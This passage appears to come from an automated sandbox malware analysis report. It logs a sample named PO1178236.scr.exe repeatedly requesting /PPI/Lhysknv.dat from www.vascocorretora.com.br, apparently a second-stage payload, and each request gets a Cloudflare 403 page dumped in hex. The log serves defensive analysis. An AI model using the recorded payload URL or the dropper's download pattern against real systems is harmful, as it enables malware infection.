61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b679bcc90f99</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:50 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 37 39 62 63 63 39 30 66 39 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b679bcc90f99',t:'MTczNjQwNzczMC4wMDAwMDA='};var
2025-01-09 07:28:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49785	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:50 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:50 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1UK67q7%2B2KuPJ9TFdeQiliOqB4VUz1jrV3JLurE0XbQ8WZ5cEQpqrjuTcKosaLFb9%2FtGhQmGyr6V5CYb8ct4TRCi1nYbDqg7mvIbk2eRklQAHn7J5t1tYWLSTk2kA07pQSQAmRbGXAU%2ByUH%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b67d8d458c6f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2025&min_rtt=2011&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1452013&cwnd=213&unsent_bytes=0&cid=eff9aa19556f6750&ts=135&x=0"
2025-01-09 07:28:50 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 37 64 38 64 34 35 38 63 36 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b67d8d458c6f</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:50 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 37 64 38 64 34 35 38 63 36 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b67d8d458c6f',t:'MTczNjQwNzczMC4wMDAwMDA='};var
2025-01-09 07:28:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49786	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:51 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:51 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OwD1RAcNJNjel4oOGxwWgOdgRlz18JhLqDG67JTqxXD7VAgu4hJ8iMYU%2BDCKkYOe01OECSK1Ut0j60GP5RWvrZfIe7Z9K6kYJobuAal2RAioLCTHDKY6psD4xnz7Nqpg9W1qE1Ts4TTz4JtO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6816edb1780-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1668&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1683967&cwnd=171&unsent_bytes=0&cid=168984ea5210180e&ts=144&x=0"
2025-01-09 07:28:51 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:51 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:28:51 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:28:51 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 38 31 36 65 64 62 31 37 38 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6816edb1780</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:28:51 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 38 31 36 65 64 62 31 37 38 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6816edb1780',t:'MTczNjQwNzczMS4wMDAwMDA='};var a=doc
2025-01-09 07:28:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49787	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:52 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:52 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MxVeBbix7sZToWqrEBqOs7Czsnc5Uj1GjzOhfN4Mi5LO5bN%2BMkJ%2BC1t9UWej1lWoO6kdLH9Y%2FWAxsJaj7hd8g0Wm4qZMLfNE5g4rY6WqmDrQdaBU3EfCuJHvD2JNGpBs6ExX7BUhYBrcttAa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b685bcf7c345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1478&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1921052&cwnd=178&unsent_bytes=0&cid=33650a483549c943&ts=187&x=0"
2025-01-09 07:28:52 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 38 35 62 63 66 37 63 33 34 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b685bcf7c345</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:52 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 38 35 62 63 66 37 63 33 34 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b685bcf7c345',t:'MTczNjQwNzczMi4wMDAwMDA='};var a
2025-01-09 07:28:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49788	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:52 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
